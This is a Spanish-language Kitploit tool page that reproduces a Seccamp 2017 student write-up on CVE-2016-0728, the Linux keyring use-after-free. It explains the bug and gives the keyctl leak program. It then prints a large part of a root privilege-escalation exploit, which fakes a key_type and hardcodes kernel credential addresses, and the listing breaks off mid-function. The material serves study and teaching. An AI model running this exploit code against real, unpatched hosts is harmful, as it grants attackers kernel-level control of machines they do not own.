Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2016-0728 — Exploit educativo del kernel de Linux para CVE-2016-0728 (use-after-free en el servicio de retención de claves) con análisis detallado, código PoC y discusión de mitigación para escalada de privilegios. | Kitploit
Herramientas/GitHubGitHub/hal0taso/cve-2016-0728
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónExplotación de BinariosLabs y Práctica
GitHubhal0taso/cve-2016-0728

CVE-2016-0728

Exploit educativo del kernel de Linux para CVE-2016-0728 (use-after-free en el servicio de retención de claves) con análisis detallado, código PoC y discusión de mitigación para escalada de privilegios.

Ver Repositorio
18hace 9 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2016-0728

Seccamp 2017 Tarea

El siguiente programa explota una vulnerabilidad presente en el kernel de Linux desde las versiones 3.8 hasta 4.4. Explique el mal funcionamiento que ocurre al ejecutar este programa. Además, escriba un exploit que lleve a cabo una escalada de privilegios a root explotando aún más esta vulnerabilidad, y explique el entorno de operación que probó y los puntos de ingenio que aplicó. Adicionalmente, enumere tantas técnicas de mitigación para este tipo de ataque como sea posible y explíquelas. No es necesario que lo entienda completamente; describa con sus propias palabras la información que haya podido comprender, el proceso de prueba y lo que sintió. Si hay sitios web o referencias que haya consultado, indique claramente esas fuentes.

#include <stddef.h>  
#include <stdio.h>  
#include <sys/types.h>  
#include <keyutils.h>  
 
int main(int argc, const char *argv[])
{
    int i = 0;
    key_serial_t serial;
 
    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
        perror("keyctl");
        return -1;
    }
 
    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
        perror("keyctl");
        return -1;
    }
 
    for (i = 0; i < 100; i++) {
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    }
 
    return 0;
}

Introducción

El entorno de verificación es el siguiente:

$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.5 LTS
Release:	14.04
Codename:	trusty

Conocí esta vulnerabilidad por primera vez, pero describiré lo que averigüé investigando y lo que probé en el proceso. Primero, explicaré el servicio de almacenamiento de claves utilizado en este programa, luego la vulnerabilidad Use-After-Free que explota este programa y qué es lo que la causa en el programa, y finalmente qué tipo de mal funcionamiento produce. Esta vulnerabilidad está registrada como CVE-2016-0728, y para su resumen consulté el siguiente sitio web:

http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

Además, como también era la primera vez que conocía el servicio de almacenamiento de claves de Linux, consulté la página web de IBM sobre introducción al servicio de almacenamiento de claves de Linux

https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html

y el código fuente del kernel de Linux 3.19, que es el entorno de verificación,

https://www.kernel.org/

Para enviar los mensajes del kernel al sistema anfitrión a través de la red, utilicé DEBUG HACKS - Técnicas y herramientas para dominar la depuración (O'REILLY).

Este programa (en adelante, lo llamaremos leak.c) explota un bug presente en el servicio de almacenamiento de claves de Linux, y este bug conduce a una vulnerabilidad Use-After-Free. La vulnerabilidad Use-After-Free es aquella en la que, debido a una inconsistencia del programa, se hace referencia a una dirección de memoria heap ya liberada, lo que puede permitir la ejecución de código arbitrario. Primero, explicaré la llamada al sistema keyctl() que utiliza este programa y luego describiré qué bug existe allí.

Cada proceso puede crear un llavero específico del proceso para la sesión actual mediante la llamada al sistema keyctl(KEYCTL_JOIN_SESSION_KEYRING, name). Este llavero puede compartirse entre procesos haciendo referencia a su nombre name. Si el proceso ya tiene un llavero de sesión, esta llamada al sistema reemplaza el llavero de sesión por uno nuevo. Como quería entender mejor este comportamiento, consulté la función join_session_keyring en /security/keys/process_keys.c del código fuente del kernel. Su estructura es la siguiente. Al reemplazar el llavero de sesión por uno nuevo, se omite la llamada a la función key_put. La función key_put es una función que descarta la referencia al llavero dado como argumento. Al omitirla, queda una referencia pendiente al nuevo llavero, lo que conduce a la vulnerabilidad Use-After-Free.

Cuando este llavero se comparte entre procesos, aumenta el contador de referencias internas almacenado en el miembro usage de la estructura key. El miembro usage es de tipo atomic_t, que en realidad se define como un typedef de una estructura que contiene una única variable int. Además, como no existe un mecanismo para evitar el desbordamiento de este miembro usage, es posible incrementarlo hasta que se desborde y llegue a 0. Cuando el miembro usage llega a 0, el llavero se libera mediante la recolección de basura interna del subsistema de llaveros. Colocando otro módulo del kernel que realice un procesamiento arbitrario desde el espacio de usuario en esta área liberada, se puede ejecutar dicho procesamiento con privilegios del kernel.

En el sitio web de referencia, cuando se compila leak.c con la biblioteca keyutils y se ejecuta, se muestra que en /proc/keys se registra un llavero de sesión llamado leaked-keyring y que se ha referenciado 100 veces. Se verificó que antes y después de ejecutar este programa, leaked-keyring se mostraba de la siguiente manera:

# Antes de la ejecución
$ cat /proc/keys
$ ./leak
# Después de la ejecución
$ cat /proc/keys
0fd435e9 I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty

Sin embargo, en mi entorno de verificación no se mostró leaked-keyring. Como prueba, cambié la condición del bucle for a un número grande como i < 0x1000000, y durante la ejecución del programa sí se mostraba leaked-keyring. En este caso, el ataque se logra desbordando el miembro usage para liberar la clave y luego colocando un nuevo objeto del kernel en esa dirección. Por lo tanto, decidí probarlo realmente. El código del exploit lo consulté en el siguiente sitio web:

https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)

struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;
};

void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
	const char *keyring_name;
	size_t i = 0;
    unsigned long int l = 0x100000000/2;
	key_serial_t serial = -1;
	pid_t pid = -1;
    struct key_type * my_key_type = NULL;
    
struct { long mtype;
		char mtext[STRUCT_LEN];
	} msg = {0x4141414141414141, {0}};
	int msqid;

	if (argc != 2) {
		puts("usage: ./keys <key_name>");
		return 1;
	}

    printf("uid=%d, euid=%d\n", getuid(), geteuid()); 
    commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
    
    my_key_type = malloc(sizeof(*my_key_type));

    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));

    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    //key->perm
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

    //key->type
    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(1);
    }

    keyring_name = argv[1];
Descargar herramienta